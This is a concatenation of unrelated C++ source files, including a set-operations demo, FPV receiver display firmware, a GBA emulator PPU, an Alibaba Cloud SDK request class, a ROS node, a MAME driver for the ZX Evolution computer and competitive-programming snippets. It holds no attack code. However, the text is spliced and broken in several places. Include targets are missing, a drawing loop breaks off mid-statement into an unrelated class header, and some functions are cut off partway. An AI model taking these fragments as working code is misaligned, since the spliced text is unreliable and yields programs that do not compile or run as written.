show("SU", universe); std::cout << "--------------------------" << std::endl; show("S1", parta); std::cout << "--------------------------" << std::endl; show("S2", partb); std::cout << "--------------------------" << std::endl; show("S1 & S2", parta.intersection(partb)); show("S1 | S2", parta.union_(partb)); show("S1 - S2", parta.difference(partb)); show("S2 - S1", partb.difference(parta)); show("S1 ^ S2", parta.symdiff(partb)); show("SU \\ S1", parta.complement(universe)); show("SU \\ S2", partb.complement(universe)); show("S1 + S2", parta.sum(partb)); show("S1 x S2", parta.product(partb)); return 0; } Game/AttackSystem/Attacks.cpp #include "Attacks.hpp" #include "../DataTable.hpp" namespace Attacks { const std::unordered_map attackData = initializeAttackData(); } akari-tun/FENIX-rx5808-pro-diversity #include //#include #include "settings.h" #include "settings_eeprom.h" #include "settings_internal.h" #include "ui.h" #include "bitmaps.h" #include "receiver_spi.h" #include "receiver.h" #include "TTVout.h" TTVout TV; #define OLED_RESET -1 namespace Ui { #ifdef OLED_128x64_ADAFRUIT_SCREENS Adafruit_SSD1306 display(OLED_RESET); #endif bool shouldDrawUpdate = false; bool shouldDisplay = false; bool shouldFullRedraw = false; bool isTvOn = false; void setup() { #ifdef OLED_128x64_ADAFRUIT_SCREENS Wire.setClock(400000); #ifndef DISABLE_OLED display.begin(SSD1306_SWITCHCAPVCC, 0x3C); #endif display.setTextColor(WHITE); display.setTextSize(1); display.setTextWrap(false); display.clearDisplay(); needDisplay(); update(); #endif // tone will not work until begin is called. #if F_CPU == 120000000L TV.begin(SC_160x108); // 120 MHz #elif F_CPU == 72000000L TV.begin(SC_448x108); // 72 MHz #elif F_CPU == 48000000L TV.begin(SC_256x192); // 48 MHz #endif TV.end(); } void tvOn() { ReceiverSpi::setPowerDownRegister(0b01010000110000010011); #ifndef DISABLE_OLED display.ssd1306_command(SSD1306_DISPLAYOFF); #endif #if F_CPU == 120000000L TV.begin(SC_160x108); // 120 MHz #elif F_CPU == 72000000L TV.begin(SC_448x108); // 72 MHz #elif F_CPU == 48000000L TV.begin(SC_256x192); // 48 MHz #endif Ui::sdToTtvout(); isTvOn = true; } void tvOff() { ReceiverSpi::setPowerDownRegister(0b00010000110000010011); Receiver::setChannel(Receiver::activeChannel); TV.end(); if (EepromSettings.useOledScreen) { #ifndef DISABLE_OLED display.ssd1306_command(SSD1306_DISPLAYON); display.display(); #endif } isTvOn = false; } // TODO replace with buffer from OLED void sdToTtvout() { for(int y=0; y<64; y++) { for(int x=0; x<128; x++) { bool colour; if (EepromSettings.invertDisplay) { colour = !display.getPixel(x,y); } else { colour = display.getPixel(x,y); } #if F_CPU == 120000000L TV.draw_rect(16+x, 22+y, 1, 1, colour, colour); // 120 MHz #elif F_CPU == 72000000L TV.draw_rect(32+x*3, 22+y, 3, 1, colour, colour); // 72 MHz #elif F_CPU == 48000000L TV.draw_rect(x*2, y*3, 2, 3, colour, colour); // 48 MHz #endif } } } void beep() { uint16_t freq = 5000; // frequency in Hz TV.tone(freq, BEEPER_CHIRP); } void beep(uint16_t freq) { TV.tone(freq, BEEPER_CHIRP); } void update() { if (shouldDisplay) { #ifdef OLED_128x64_ADAFRUIT_SCREENS if (isTvOn) { Ui::sdToTtvout(); } else { if (EepromSettings.useOledScreen) { #ifndef DISABLE_OLED if (EepromSettings.rotateOled){ display.setRotation(2); } else { display.setRotation(0); } display.display(); #endif } else { #ifndef DISABLE_OLED display.ssd1306_command(SSD1306_DISPLAYOFF); #endif } } #endif #ifdef TVOUT_SCREENS #endif shouldDisplay = false; } } void drawGraph( const uint8_t data[], const uint8_t dataSize, const uint8_t dataScale, const uint8_t x, const uint8_t y, const uint8_t w, const uint8_t h ) { #define SCALE_DATAPOINT(p) (p * (float)h / (float)dataScale) #define CLAMP_DATAPOINT(p) (p > (float)dataScale) ? (float)dataScale : ((p < 0) ? 0 : p); Ui::clearRect(x, y, w, h); const float xScaler = (float)w / ((float)dataSize - 1); const float xScalarMissing = (float)w - (xScaler * ((float)dataSize - 1)); float xNext = (float)x; for (uint8_t i = 0; i < dataSize - 1; i++) { const float dataPoint = CLAMP_DATAPOINT((float)data[i]); const float dataPointNext = CLAMP_DATAPOINT((float)data[i + 1]); // Need to invert the heights so it shows the right way on the screen. const float dataPointHeight = (float)h - SCALE_DATAPOINT((float)dataPoint); const float dataPointNextHeight = (float)h - SCALE_DATAPOINT((float)dataPointNext); const float xEnd = xNext + xScaler + (i == 0 || i == dataSize - 2 ? (xScalarMissing + 1) / 2 : 0); #ifdef OLED_128x64_ADAFRUIT_SCREENS display.drawLine( xNext, y + dataPointHeight, xEnd, y + dataPointNextHeight, WHITE ); #endif #ifdef TVOUT_SCREENS display.draw_line( xNext, y + dataPointHeight, xEnd, y + dataPointNextHeight, WHITE ); #endif xNext = xEnd; } #undef SCALE_DATAPOINT #undef CLAMP_DATAPOINT } void drawSolidGraph( const uint8_t data[], const uint8_t dataSize, const uint8_t dataScale, const uint8_t x, const uint8_t y, const uint8_t w, const uint8_t h ) { #define SCALE_DATAPOINT(p) (p * (float)h / (float)dataScale) #define CLAMP_DATAPOINT(p) (p > (float)dataScale) ? (float)dataScale : ((p < 0) ? 0 : p); const float xScaler = (float)w / ((float)dataSize - 1); const float xScalarMissing = (float)w - (xScaler * ((float)dataSize - 1)); float xNext = (float)x; for (uint8_t i = 0; i < dataSize - 1; i++) { const float dataPoint = CLAMP_DATAPOINT((float)data[i]); const float dataPointNext = CLAMP_DATAPOINT((float)data[i + 1]); // Need to invert the heights so it shows the right way on the screen. const float dataPointHeight = (float)h - SCALE_DATAPOINT((float)dataPoint); const float dataPointNextHeight = (float)h - SCALE_DATAPOINT((float)dataPointNext); const float xEnd = xNext + xScaler + (i == 0 || i == dataSize - 2 ? (xScalarMissing + 1) / 2 : 0); const float m = (dataPointNextHeight - dataPointHeight) / (xEnd - xNext); for (float j = xNext; j < xEnd; j=j+1) { float fillPointHeight = dataPointHeight + (j - xNext) * m; if (fillPointHeight < 0) { fillPointHeight = 0; } drawFastVLine((int)j, y, (int)fillPointHeight, BLACK); drawFastVLine((int)j, (int)fillPointHeight, y + h - (int)fillPointHeight, WHITE); } xNext = xEnd; } #undef SCALE_DATAPOINT #undef CLAMP_DATAPOINT } void drawDashedHLine( const int x, const int y, const int w, const int step ) { for (int i = 0; i < w; i += step) { #ifdef OLED_128x64_ADAFRUIT_SCREENS display.drawFastHLine(x + i, y, step / 2, WHITE); #endif #ifdef TVOUT_SCREENS display.draw_row(y, x + i, x + i + (step / 2), WHITE); #endif } } void drawDashedVLine( const int x, const int y, const int h, const int step ) { for (int i = 0; i < h; i += step) { #ifdef OLED_128x64_ADAFRUIT_SCREENS display.drawFastVLine(x, y + i, step / 2, INVERSE); #endif #ifdef TVOUT_SCREENS display.draw_column(x, y + i, y + i + (step / 2), WHITE); #endif } } void drawFastHLine( const int x, const int y, const int w, const int color ) { #ifdef OLED_128x64_ADAFRUIT_SCREENS display.drawFastHLine(x, y, w, color); #endif #ifdef TVOUT_SCREENS display.draw_row(y, x, x+w, color); #endif } void drawFastVLine( const int x, const int y, const int h, const int color ) { #ifdef OLED_128x64_ADAFRUIT_SCREENS display.drawFastVLine(x, y, h, color); #endif #ifdef TVOUT_SCREENS display.draw_column(x, y, y+h, color); #endif } void drawRoundRect( const int x, const int y, const int w, const int h, const int r, const int color ) { #ifdef OLED_128x64_ADAFRUIT_SCREENS display.drawRoundRect(x, y, w, h, r, color); #endif #ifdef TVOUT_SCREENS display.draw_rect(x, y, w, h, color); #endif } void fillRect( const int x, const int y, const int w, const int h, const int color ) { #ifdef OLED_128x64_ADAFRUIT_SCREENS display.fillRect(x, y, w, h, color); #endif #ifdef TVOUT_SCREENS display.draw_rect(x, y, w, h, color, color); #endif } void fillTriangle( const int x0, const int y0, const int x1, const int y1, const int x2, const int y2, const int color ) { #ifdef OLED_128x64_ADAFRUIT_SCREENS display.fillTriangle( x0, y0, x1, y1, x2, y2, color ); #endif #ifdef TVOUT_SCREENS for (int x=x0; x<=x2; x++) { display.draw_line(x,y0,x1,y1,color); } #endif } void drawBitmap(const int x, const int y, const unsigned char *image, const int w, const int h, const int color) { #ifdef OLED_128x64_ADAFRUIT_SCREENS // draw Bitmap not working. On the TODO list and remove the below work around. int setColor; for (int i=0; i class FRAGMENT { private: POSITION starting, following; public: FRAGMENT(POSITION starting, POSITION following); POSITION get_starting() const; POSITION get_following() const; friend std::ostream& operator<<(std::ostream &strm, const FRAGMENT &frag); }; #endif // FRAGMENT_HPP_INCLUDED src/Layer2D.cpp #include "Layer2D.h" Layer2D::Layer2D( ofVec2f pos, float size, int z, float angle ) : m_angle( angle ), m_z( z ), rect( pos.x, pos.y, size, size ) { } Layer2D::~Layer2D() { } void Layer2D::draw() { ofPushMatrix(); ofPushStyle(); ofRotate( m_angle ); ofTranslate( -rect.width / 2, -rect.height / 2, -m_z ); glLineWidth( 2 ); ofFill(); ofSetColor( 255 ); ofRect( rect.x, rect.y, rect.width, rect.height ); ofNoFill(); ofSetColor( 0 ); ofRect( rect.x, rect.y, rect.width, rect.height ); ofPopStyle(); ofPopMatrix(); } ofVec2f Layer2D::getPos() { return ofVec2f( rect.x, rect.y ); } float Layer2D::getSize() { return rect.width; } auto PPU::vram_read(uint mode, uint32 addr) -> uint32 { addr &= (addr & 0x10000) ? 0x17fff : 0x0ffff; if(mode & Word) { addr &= ~3; return vram[addr + 0] << 0 | vram[addr + 1] << 8 | vram[addr + 2] << 16 | vram[addr + 3] << 24; } else if(mode & Half) { addr &= ~1; return vram[addr + 0] << 0 | vram[addr + 1] << 8; } else if(mode & Byte) { return vram[addr]; } return 0; //should never occur } auto PPU::vram_write(uint mode, uint32 addr, uint32 word) -> void { addr &= (addr & 0x10000) ? 0x17fff : 0x0ffff; if(mode & Word) { addr &= ~3; vram[addr + 0] = word >> 0; vram[addr + 1] = word >> 8; vram[addr + 2] = word >> 16; vram[addr + 3] = word >> 24; } else if(mode & Half) { addr &= ~1; vram[addr + 0] = word >> 0; vram[addr + 1] = word >> 8; } else if(mode & Byte) { //8-bit writes to OBJ section of VRAM are ignored if(regs.control.bgmode <= 2 && addr >= 0x10000) return; if(regs.control.bgmode <= 5 && addr >= 0x14000) return; addr &= ~1; vram[addr + 0] = (uint8)word; vram[addr + 1] = (uint8)word; } } auto PPU::pram_read(uint mode, uint32 addr) -> uint32 { if(mode & Word) return pram_read(Half, addr & ~2) << 0 | pram_read(Half, addr | 2) << 16; if(mode & Byte) return pram_read(Half, addr) >> ((addr & 1) * 8); return pram[addr >> 1 & 511]; } auto PPU::pram_write(uint mode, uint32 addr, uint32 word) -> void { if(mode & Word) { pram_write(Half, addr & ~2, word >> 0); pram_write(Half, addr | 2, word >> 16); return; } if(mode & Byte) { word = (uint8)word; return pram_write(Half, addr, word << 8 | word << 0); } pram[addr >> 1 & 511] = (uint16)word; } auto PPU::oam_read(uint mode, uint32 addr) -> uint32 { if(mode & Word) return oam_read(Half, addr & ~2) << 0 | oam_read(Half, addr | 2) << 16; if(mode & Byte) return oam_read(Half, addr) >> ((addr & 1) * 8); auto& obj = object[addr >> 3 & 127]; auto& par = objectparam[addr >> 5 & 31]; switch(addr & 6) { case 0: return ( (obj.y << 0) | (obj.affine << 8) | (obj.affinesize << 9) | (obj.mode << 10) | (obj.mosaic << 12) | (obj.colors << 13) | (obj.shape << 14) ); case 2: return ( (obj.x << 0) | (obj.affineparam << 9) | (obj.hflip << 12) | (obj.vflip << 13) | (obj.size << 14) ); case 4: return ( (obj.character << 0) | (obj.priority << 10) | (obj.palette << 12) ); case 6: switch(addr >> 3 & 3) { case 0: return par.pa; case 1: return par.pb; case 2: return par.pc; case 3: return par.pd; } } } auto PPU::oam_write(uint mode, uint32 addr, uint32 word) -> void { if(mode & Word) { oam_write(Half, addr & ~2, word >> 0); oam_write(Half, addr | 2, word >> 16); return; } if(mode & Byte) return; //8-bit writes to OAM are ignored auto& obj = object[addr >> 3 & 127]; auto& par = objectparam[addr >> 5 & 31]; switch(addr & 6) { case 0: obj.y = word >> 0; obj.affine = word >> 8; obj.affinesize = word >> 9; obj.mode = word >> 10; obj.mosaic = word >> 12; obj.colors = word >> 13; obj.shape = word >> 14; break; case 2: obj.x = word >> 0; obj.affineparam = word >> 9; obj.hflip = word >> 12; obj.vflip = word >> 13; obj.size = word >> 14; break; case 4: obj.character = word >> 0; obj.priority = word >> 10; obj.palette = word >> 12; break; case 6: switch(addr >> 3 & 3) { case 0: par.pa = word; break; case 1: par.pb = word; break; case 2: par.pc = word; break; case 3: par.pd = word; break; } } static uint widths[] = { 8, 16, 32, 64, 16, 32, 32, 64, 8, 8, 16, 32, 8, 8, 8, 8, //invalid modes }; static uint heights[] = { 8, 16, 32, 64, 8, 8, 16, 32, 16, 32, 32, 64, 8, 8, 8, 8, //invalid modes }; obj.width = widths [obj.shape * 4 + obj.size]; obj.height = heights[obj.shape * 4 + obj.size]; } /* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include using AlibabaCloud::Ga::Model::AddEntriesToAclRequest; AddEntriesToAclRequest::AddEntriesToAclRequest() : RpcServiceRequest("ga", "2019-11-20", "AddEntriesToAcl") { setMethod(HttpRequest::Method::Post); } AddEntriesToAclRequest::~AddEntriesToAclRequest() {} std::string AddEntriesToAclRequest::getAclId()const { return aclId_; } void AddEntriesToAclRequest::setAclId(const std::string& aclId) { aclId_ = aclId; setParameter("AclId", aclId); } bool AddEntriesToAclRequest::getDryRun()const { return dryRun_; } void AddEntriesToAclRequest::setDryRun(bool dryRun) { dryRun_ = dryRun; setParameter("DryRun", dryRun ? "true" : "false"); } std::string AddEntriesToAclRequest::getClientToken()const { return clientToken_; } void AddEntriesToAclRequest::setClientToken(const std::string& clientToken) { clientToken_ = clientToken; setParameter("ClientToken", clientToken); } std::vector AddEntriesToAclRequest::getAclEntries()const { return aclEntries_; } void AddEntriesToAclRequest::setAclEntries(const std::vector& aclEntries) { aclEntries_ = aclEntries; for(int dep1 = 0; dep1!= aclEntries.size(); dep1++) { auto aclEntriesObj = aclEntries.at(dep1); std::string aclEntriesObjStr = "AclEntries." + std::to_string(dep1 + 1); setParameter(aclEntriesObjStr + ".Entry", aclEntriesObj.entry); setParameter(aclEntriesObjStr + ".EntryDescription", aclEntriesObj.entryDescription); } } std::string AddEntriesToAclRequest::getRegionId()const { return regionId_; } void AddEntriesToAclRequest::setRegionId(const std::string& regionId) { regionId_ = regionId; setParameter("RegionId", regionId); } #include "velocity_control/velocity_control.hpp" #include "rclcpp/rclcpp.hpp" #include "rclcpp_components/register_node_macro.hpp" #include "support/interfaces.hpp" #include "support/string_utility.hpp" #include using namespace std::placeholders; namespace boarai::control { auto constexpr node_name{"velocity_control"}; velocity_control::velocity_control(rclcpp::NodeOptions const & options) : fmt_node{node_name, ros_namespace, options} { log_info("velocity_control starting up"); m_drive_velocity_client = create_client( join("/", hardware::ros_namespace, hardware::service::set_drive_velocity)); start_subscriptions(); start_services(); } auto velocity_control::start_services() -> void { m_set_target_velocity_service = create_service( service::set_target_velocity, std::bind(&velocity_control::on_set_target_velocity_request, this, _1, _2)); } auto velocity_control::on_set_target_velocity_request(service::set_target_velocity_t::Request::SharedPtr request, service::set_target_velocity_t::Response::SharedPtr) -> void { auto velocity = request->velocity.value; log_info("received request to set velocity to: linear: {} || angular: {}", velocity.r, velocity.phi); if (m_drive_velocity_client->service_is_ready()) { log_debug("calling '{}' with linear=={} and angular=={}", m_drive_velocity_client->get_service_name(), velocity.r, velocity.phi); auto hw_request = std::make_shared(); hw_request->velocity = messages::PolarVelocity{}.set__value(velocity); m_drive_velocity_client->async_send_request(hw_request); } } } // namespace boarai::control RCLCPP_COMPONENTS_REGISTER_NODE(boarai::control::velocity_control)/* * Copyright (C) 2020 Intel Corporation * * SPDX-License-Identifier: MIT * */ #include "shared/source/helpers/blit_commands_helper.h" namespace NEO { BlitOperationResult BlitHelper::blitMemoryToAllocation(const Device &device, GraphicsAllocation *memory, size_t offset, const void *hostPtr, Vec3 size) { return BlitOperationResult::Unsupported; } } // namespace NEO // license:BSD-3-Clause // copyright-holders: /*************************************************************************** TS-Configuration (ZX Evolution) machine driver. Implementation: Revision C / 5-bit VDAC Hobby computer ZX Evolution is Spectrum-compatible with extensions. Hardware (ZX Evolution): - Z80 3.5 MHz (classic mode)/ 7 MHz (turbo mode without CPU wait circles)/ 14 MHz (mega turbo with CPU wait circles); - 4 Mb RAM, 512Kb ROM; - MiniITX board (172x170mm), 2 ZXBUS slots, power ATX or +5,+12V; - Based on fpga (Altera EP1K50); - Peripheral MCU ATMEGA128; - PS/2 keyboard and mouse support; - Floppy (WDC1793) Beta-disk compatible interface, IDE (one channel, up to 2 devices on master/slave mode), SD(HC) card, RS232; - Sound: AY, Beeper, Covox (PWM); - Real-time clock. Features (TS-Configuration): - Resolutions: 360x288, 320x240, 320x200, 256x192 - Hardware scrolled graphic planes - 256 and 16 indexed colors per pixel - Programmable color RAM with RGB555 color space and 256 cells - Text mode with loadable font and hardware vertical scroll - Up to 256 graphic screens - Up to 85 sprites per line - Sprites sized from 8x8 to 64x64 pixels - Up to 3 sprite planes - Up to 2 tile planes with 8x8 pixels tiles - Up to 16 palettes for sprites per line - Up to 4 palettes for tiles per line for each tile plane - DRAM-to-Device, Device-to-DRAM and DRAM-to-DRAM DMA Controller Refs: ZxEvo: http://nedopc.com/zxevo/zxevo_eng.php Principal scheme (rev. C) :: http://nedopc.com/zxevo/zxevo_sch_revc.pdf Montage scheme (rev. C) :: http://nedopc.com/zxevo/zxevo_mon_revc.pdf TsConf: https://github.com/tslabs/zx-evo/blob/master/pentevo/docs/TSconf/tsconf_en.md https://github.com/tslabs/zx-evo/raw/master/pentevo/docs/TSconf/TSconf.xls FAQ-RUS: https://forum.tslabs.info/viewtopic.php?f=35&t=157 ROM: https://github.com/tslabs/zx-evo/blob/master/pentevo/rom/bin/ts-bios.rom (validated on: 2021-12-14) HowTo: # Use ts-bios.rom above. You also need tr-dos roms which simpliest(?) to get from pentagon. # Create SD image "wc.img" # Copy WC files from archive https://github.com/tslabs/zx-evo/blob/master/pentevo/soft/WC/wc.zip # Tech Demos (currently *.spg only): http://prods.tslabs.info/index.php?t=4 $ chdman createhd -i wc.img -o wc.chd -c none $ mame tsconf -hard wc.chd # BIOS Setup loads on fresh setup (return to BIOS: RShift+F3) # Change "Reset To: BD boot.$c" # Reset (F3) # Enable keyboard: MAME Setup (Tab) > Keyboard Mode > AT Keyboard: Enabled TODO: - Interrupts - Sprites - Sound - ZX-Mode locks - CPU frequency - Timings - Ram cache - VDos - Many more... ****************************************************************************/ #include "emu.h" #include "includes/tsconf.h" TILE_GET_INFO_MEMBER(tsconf_state::get_tile_info_txt) { u8 *m_row_location = &m_ram->pointer()[(m_regs[V_PAGE] << 14) + (tile_index / tilemap.cols() * 256)]; u8 col = tile_index % tilemap.cols(); u8 symbol = m_row_location[col]; tileinfo.set(1, symbol, 0, 0); } template TILE_GET_INFO_MEMBER(tsconf_state::get_tile_info_16c) { u8 col_offset = (tile_index % tilemap.cols()) << 1; u16 row_offset = (((tile_index / tilemap.cols()) << 1) + Layer) * 64 * 2; u8 *tile_info_addr = &m_ram->pointer()[(m_regs[T_MAP_PAGE] << 14) + row_offset + col_offset]; u8 hi = tile_info_addr[1]; u16 tile = ((u16(hi) & 0x0f) << 8) | tile_info_addr[0]; tile = tile / tilemap.cols() * 64 * 8 + (tile % tilemap.cols()); u8 pal = (BIT(m_regs[PAL_SEL], 4 + Layer * 2, 2) << 2) | BIT(hi, 4, 2); if (BIT(hi, 6, 2)) { logerror("FIXME - FLIP Case\n"); } tileinfo.set(2 + Layer, tile, pal, 0); } TILE_GET_INFO_MEMBER(tsconf_state::get_sprite_info_16c) { tileinfo.set(4, tile_index, 0, 0); } void tsconf_state::tsconf_mem(address_map &map) { map(0x0000, 0x3fff).bankr("bank1").w(FUNC(tsconf_state::tsconf_bank_w<0>)); map(0x4000, 0x7fff).bankr("bank2").w(FUNC(tsconf_state::tsconf_bank_w<1>)); map(0x8000, 0xbfff).bankr("bank3").w(FUNC(tsconf_state::tsconf_bank_w<2>)); map(0xc000, 0xffff).bankr("bank4").w(FUNC(tsconf_state::tsconf_bank_w<3>)); } void tsconf_state::tsconf_io(address_map &map) { map.unmap_value_high(); map(0x0000, 0x0000).mirror(0x7ffd).w(FUNC(tsconf_state::tsconf_port_7ffd_w)); map(0x001f, 0x001f).mirror(0xff00).rw(m_beta, FUNC(beta_disk_device::status_r), FUNC(beta_disk_device::command_w)); map(0x003f, 0x003f).mirror(0xff00).rw(m_beta, FUNC(beta_disk_device::track_r), FUNC(beta_disk_device::track_w)); map(0x0057, 0x0057).mirror(0xff00).rw(FUNC(tsconf_state::tsconf_port_57_zctr_r), FUNC(tsconf_state::tsconf_port_57_zctr_w)); // spi config map(0x0077, 0x0077).mirror(0xff00).rw(FUNC(tsconf_state::tsconf_port_77_zctr_r), FUNC(tsconf_state::tsconf_port_77_zctr_w)); // spi data map(0x005f, 0x005f).mirror(0xff00).rw(m_beta, FUNC(beta_disk_device::sector_r), FUNC(beta_disk_device::sector_w)); map(0x007f, 0x007f).mirror(0xff00).rw(m_beta, FUNC(beta_disk_device::data_r), FUNC(beta_disk_device::data_w)); map(0x00fe, 0x00fe).select(0xff00).rw(FUNC(tsconf_state::spectrum_port_fe_r), FUNC(tsconf_state::tsconf_port_fe_w)); map(0x00ff, 0x00ff).mirror(0xff00).rw(m_beta, FUNC(beta_disk_device::state_r), FUNC(beta_disk_device::param_w)); map(0x00af, 0x00af).select(0xff00).rw(FUNC(tsconf_state::tsconf_port_xxaf_r), FUNC(tsconf_state::tsconf_port_xxaf_w)); map(0x8ff7, 0x8ff7).select(0x7000).w(FUNC(tsconf_state::tsconf_port_f7_w)); // 3:bff7 5:dff7 6:eff7 map(0xbff7, 0xbff7).r(FUNC(tsconf_state::tsconf_port_f7_r)); } void tsconf_state::tsconf_switch(address_map &map) { map(0x0000, 0x3fff).r(FUNC(tsconf_state::beta_neutral_r)); // Overlap with next because we want real addresses on the 3e00-3fff range map(0x3d00, 0x3dff).r(FUNC(tsconf_state::beta_enable_r)); map(0x4000, 0xffff).r(FUNC(tsconf_state::beta_disable_r)); } template void tsconf_state::tsconf_bank_w(offs_t offset, u8 data) { tsconf_state::ram_bank_write(Bank, offset, data); } static const gfx_layout spectrum_charlayout = { 8, 8, /* 8 x 8 characters */ 96, /* 96 characters */ 1, /* 1 bits per pixel */ {0}, /* no bitplanes */ /* x offsets */ {STEP8(0, 1)}, /* y offsets */ {STEP8(0, 8)}, 8 * 8 /* every char takes 8 bytes */ }; static const gfx_layout tsconf_charlayout = { 8, 8, 256, 1, {0}, {STEP8(0, 1)}, {STEP8(0, 8)}, 8 * 8 }; static const gfx_layout tsconf_tile_16cpp_layout = { 8, 8, 64 * 64 * 8, 4, {STEP4(0, 1)}, {STEP8(0, 4)}, {STEP8(0, 256 * 8)}, // Much more tiles when needed. Because tiles are in RAW formut but we don't know region properties. 8 * 4 }; static GFXDECODE_START(gfx_tsconf) GFXDECODE_ENTRY("maincpu", 0x1fd00, spectrum_charlayout, 0xf7, 1) GFXDECODE_ENTRY("maincpu", 0, tsconf_charlayout, 0xf7, 1) // TXT GFXDECODE_ENTRY("maincpu", 0, tsconf_tile_16cpp_layout, 0, 255) // T0 16cpp GFXDECODE_ENTRY("maincpu", 0, tsconf_tile_16cpp_layout, 0, 255) // T1 16cpp GFXDECODE_ENTRY("maincpu", 0, tsconf_tile_16cpp_layout, 0, 255) // Sprites 16cpp GFXDECODE_END void tsconf_state::video_start() { spectrum_128_state::video_start(); m_ts_tilemap[0] = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(tsconf_state::get_tile_info_txt)), TILEMAP_SCAN_ROWS, 8, 8, 128, 64); m_ts_tilemap[1] = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(tsconf_state::get_tile_info_16c<0>)), TILEMAP_SCAN_ROWS, 8, 8, 64, 64); m_ts_tilemap[1]->set_transparent_pen(0); m_ts_tilemap[2] = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(tsconf_state::get_tile_info_16c<1>)), TILEMAP_SCAN_ROWS, 8, 8, 64, 64); m_ts_tilemap[2]->set_transparent_pen(0); m_ts_tilemap[3] = &machine().tilemap().create(*m_gfxdecode, tilemap_get_info_delegate(*this, FUNC(tsconf_state::get_sprite_info_16c)), TILEMAP_SCAN_ROWS, 8, 8, 64, 64); m_ts_tilemap[3]->set_transparent_pen(0); } void tsconf_state::machine_start() { save_item(NAME(m_regs)); // TODO save'm'all! } void tsconf_state::machine_reset() { u8 *messram = m_ram->pointer(); m_program = &m_maincpu->space(AS_PROGRAM); m_ram_0000 = nullptr; m_port_f7_ext = DISABLED; m_regs[V_CONFIG] = 0x00; m_regs[V_PAGE] = 0x05; m_regs[G_X_OFFS_L] = 0x00; m_regs[G_X_OFFS_H] &= 0xfe; // xxxxxxx0 m_regs[G_Y_OFFS_L] = 0x00; m_regs[G_Y_OFFS_H] &= 0xfe; // xxxxxxx0 m_regs[TS_CONFIG] &= 0x03; // 000000xx m_regs[PAL_SEL] = 0x0f; m_regs[PAGE0] = 0x00; m_regs[PAGE1] = 0x05; m_regs[PAGE2] = 0x02; m_regs[PAGE3] = 0x00; m_regs[FMAPS] &= 0xef; // xxx0xxxx m_regs[SYS_CONFIG] = 0x00; m_regs[MEM_CONFIG] = 0x04; m_regs[HS_INT] = 0x01; // 00000001 m_regs[VS_INT_L] = 0x00; // 00000001 m_regs[VS_INT_H] = 0x00; // 0000xxx0 // FDDVirt = 0x00; // 0000xxx0 m_regs[INT_MASK] = 0x01; // xxxxx001 // CacheConfig = 0x01; // xxxxx001 if (m_beta->started()) m_beta->enable(); memset(messram, 0, 4096 * 1024); m_port_7ffd_data = 0; m_zctl_cs = 1; m_zctl_di = 0xff; tsconf_update_bank1(); m_keyboard->write(0xff); while (m_keyboard->read() != 0) { /* invalidate buffer */ } } void tsconf_state::tsconf(machine_config &config) { spectrum_128(config); config.device_remove("exp"); config.device_remove("palette"); //m_maincpu->set_clock(XTAL(14'000'000)); m_maincpu->set_addrmap(AS_PROGRAM, &tsconf_state::tsconf_mem); m_maincpu->set_addrmap(AS_IO, &tsconf_state::tsconf_io); m_maincpu->set_addrmap(AS_OPCODES, &tsconf_state::tsconf_switch); m_ram->set_default_size("4096K"); GLUKRS(config, m_glukrs); TSCONF_DMA(config, m_dma, XTAL(14'000'000) / 2); m_dma->in_mreq_callback().set(FUNC(tsconf_state::ram_read16)); m_dma->out_mreq_callback().set(FUNC(tsconf_state::ram_write16)); m_dma->in_spireq_callback().set(FUNC(tsconf_state::spi_read16)); m_dma->out_cram_callback().set(FUNC(tsconf_state::cram_write16)); BETA_DISK(config, m_beta, 0); SPI_SDCARD(config, m_sdcard, 0); m_sdcard->spi_miso_callback().set(FUNC(tsconf_state::tsconf_spi_miso_w)); PALETTE(config, "palette", FUNC(tsconf_state::tsconf_palette), 256); m_screen->set_raw(X1_128_SINCLAIR / 2.5, 448, 0, 360, 320, 0, 288); subdevice("gfxdecode")->set_info(gfx_tsconf); RAM(config, m_cram).set_default_size("512").set_default_value(0); AT_KEYB(config, m_keyboard, pc_keyboard_device::KEYBOARD_TYPE::AT, 3); } ROM_START(tsconf) ROM_REGION(0x090000, "maincpu", ROMREGION_ERASEFF) // 16KB ROM ROM_LOAD("ts-bios.rom", 0x010000, 0x10000, CRC(b060b0d9) SHA1(820d3539de115141daff220a3cb733fc880d1bab)) ROM_END // YEAR NAME PARENT COMPAT MACHINE INPUT CLASS INIT COMPANY FULLNAME FLAGS COMP( 2011, tsconf, spec128, 0, tsconf, spec_plus, tsconf_state, empty_init, "NedoPC, TS-Labs", "ZX Evolution TS-Configuration", MACHINE_NO_SOUND | MACHINE_WRONG_COLORS | MACHINE_IMPERFECT_TIMING ) #include using namespace std; #define fast ios::sync_with_stdio(false);cin.tie(0) #define pb push_back #define digit(x) floor(log10(x))+1 #define mod 1000000007 #define endl "\n" #define int long long #define matrix vector > #define vi vector #define pii pair #define vs vector #define vp vector #define test() int t;cin>>t;while(t--) #define all(x) x.begin(),x.end() #define debug(x) cerr << #x << " is " << x << endl; // int dx[] = {0, 0, 1, -1}; // int dy[] = {1, -1, 0, 0}; const int sz = 100005; void showArr(int *arr, int n){for(int i=0;i>n; int a[n]; for(int i=0;i>a[i]; } int final_ans = INT_MAX; if(n<=2) { cout<<0<yasin1151/DxFbxQuickViewerclasses/input/KeyboardInputEvent.cpp #include "KeyboardInputEvent.h" KeyboardInputEvent::KeyboardInputEvent(KeyboardPressState pressState, unsigned char inputCode) : m_PressState(pressState), m_InputCode(inputCode) { } bool KeyboardInputEvent::IsPress() const { return m_PressState == KeyboardPressState::Press; } bool KeyboardInputEvent::IsRelease() const { return m_PressState == KeyboardPressState::Release; } KeyboardPressState KeyboardInputEvent::GetPressState() const { return m_PressState; } unsigned char KeyboardInputEvent::GetInputCode() const { return m_InputCode; } rajeev-ranjan-au6/Leetcode_Cpp class Solution { public: int numWays(int n, int k) { vectordp(n + 1); dp[0] = 0, dp[1] = k, dp[2] = k * k; for(int i = 3; i <= n; i++) dp[i] = (dp[i - 2] + dp[i - 1]) * (k - 1); return dp[n]; } }; cotecsz/Cpp-Primer-Note #include #include using std::cout; using std::endl; using std::vector; 